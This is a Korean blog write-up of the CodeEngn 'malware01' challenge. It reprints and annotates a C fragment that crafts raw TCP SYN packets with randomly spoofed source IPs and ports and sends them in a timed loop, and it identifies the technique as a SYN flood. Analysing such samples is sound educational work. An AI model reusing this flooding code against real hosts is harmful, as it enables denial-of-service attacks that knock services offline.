본문 바로가기

[Riversing]/[코드엔진] MALWARE

[코드엔진] malware01

코드엔진 사이트에 들어가 malware01 문제를 다운로드 받고 압축을 푼다(비밀번호 : codeengn)

 

파일을 열어보면 알수없는 코드가 있고, 이를 분석해서 어떠한 기법인지 알아내는 문제이다.

 

자세한 분석을 위해 코드에 주석을 달아 분석해 보았다.

 

 

=> 코드(주석포함) 텍스트형식

더보기

< 코드(주석포함) 텍스트형식 >

//------------------------------------------------------------------------------
// 공격준비
//------------------------------------------------------------------------------


addr_in.sin_family=AF_INET; //IPv4 주소체계에서 사용하므로 AF_INET으로 설정
addr_in.sin_port=htons(TargetPort); // targetport의 호스트바이트 오더를 네트워크바이트오더로 맞춘다.
addr_in.sin_addr.s_addr=TargetIP; //TargetIP를  32bit IPv4 인터넷 주소(in_addr.s_addr)에 저장.

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128; //데이터를 전달할 수 없는 것으로 판단되어 소멸하기 이전에 데이터가 이동할수있는 단계의 수.
                    //라우터는 패킷을 전달할때마다 얘를 -1함
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0; //IP헤더의 쳌섬을 저장, 라우터를 지나갈때마다 다시 계산해서 속도 떨어짐.
ipHeader.destIP=TargetIP; //목적지 IP 주소는 TargetIP 이다.

//IPheader 구조체 값들 변경

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0;
tcpHeader.th_ack=0;

//TCPheader 구조체 값들 변경

lTimerCount=GetTickCount(); //운영체제가 시작된 후 흐른 시간을 밀리초 단위로 반환해 ITimerCount라는 변수에 저장.



//------------------------------------------------------------------------------
// 공격시작
//-----------------------------------------------------------------------------
while(g_cMainCtrl.m_cDDOS.m_bDDOSing) // while문 시작, 뭔지 모르겠으나 ddos 공격같음
{
i++;
tcpHeader.th_sum=0; // tcpheader 첵섬 0으로 초기화
tcpHeader.th_dport=htons(TargetPort); //target포트를 tcp 목적지 포트에 넣기

psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0; 
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=htonl(lSpoofIP); //spoof 하는 ip를 long타입의 호스트바이트 오더로 변경

tcpHeader.th_sport=htons((rand()%1001)+1000); //1000~2000
tcpHeader.th_seq=htons((rand()<<16)|rand());

psdHeader.saddr=ipHeader.sourceIP; //출발지 ip 주소 입력

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
//sendbuf => 뭔가 버퍼를 전송하고 psdHeader의 크기만큼 복사한다.
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
// tcpHeader.th_sum (첵섬)을 확인한다.



memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
//sendbuf => 마찬가지로 뭔가 버퍼를 전송하고 이번엔 ipHeader의 크기만큼 복사
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

// ipHeader.checksum (첵섬) 확인.
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
// sendto 함수 = UDP/IP 통신에서 소켓으로 데이터를 전송함
// sendto 함수 반환값이 0 이상이면 정상, -1이면 오류.
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;
// GetTickCount 함수를 사용해 프로그램이 실행된 시간을 구함.
// 시간에서 1000 나눴을때 len 값보다 크면 작업 중단

if(bRandPort) { TargetPort=brandom(1000, 10000); }

// 타겟 pc포트를 1000~ 10000 사이에서 아무거나 고르게함.
// 잘 알려지지 않은 포트를 이용한 악성코드라고 할 수 있음.

szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
// szSpoof IP => IP에 대한 정보를 다루고 있는듯.

Sleep(delay); 
}
xClose(sock);

/*
while 문을 통해 한두번만 패킷을 보낼리는 없으니 무한루프를 돌렸을 것이고
보낸 패킷을 수신자가 전부 받지 못할 것이기 때문에 네트웍 공격기법중 하나인 SYN Flooding 기법이라고 생각.
SYN Flooding이란 TCP 세션이 연결될 때의 취약성을 이용한 서버 공격인데
소스 서버(공격자)가 목적지(타겟) 서버에 SYN패킷을 보내면 타겟은 공격자에게 SYN과 ACK(요청확인) 패킷을 답장한다.
원래대로면 공격자가 타겟에게 다시 ACK를 보내고 데이터 교환을 한다.
여기서 타겟서버에서 공격자 서버가 ACK를 보내주기를 계속 기다리는게 아니라 일정 시간 후
요청이 오지 않으면 백로그큐가 허용하는 공간에 연결정보(로그)를 보관하게 된다.
이런 상태가 지속적으로 계속 요청되서 로그가 쌓이면 타겟서버의 서비스가 마비될 수도 있다.
(89번째 줄의 sleep(delay) 를 사용해서 이런 상태를 유지하는듯)

이러한 기법을 SYN(연결하자고 보내는 시그널을) Flooding(홍수처럼 많은 양을 던져서) 라고 한다.
*/

'[Riversing] > [코드엔진] MALWARE' 카테고리의 다른 글

[코드엔진] malware06  (0) 2020.04.29
[코드엔진] malware05  (0) 2020.04.29
[코드엔진] malware04  (0) 2020.04.29
[코드엔진] malware03  (0) 2020.04.29
[코드엔진] malware02  (0) 2020.04.27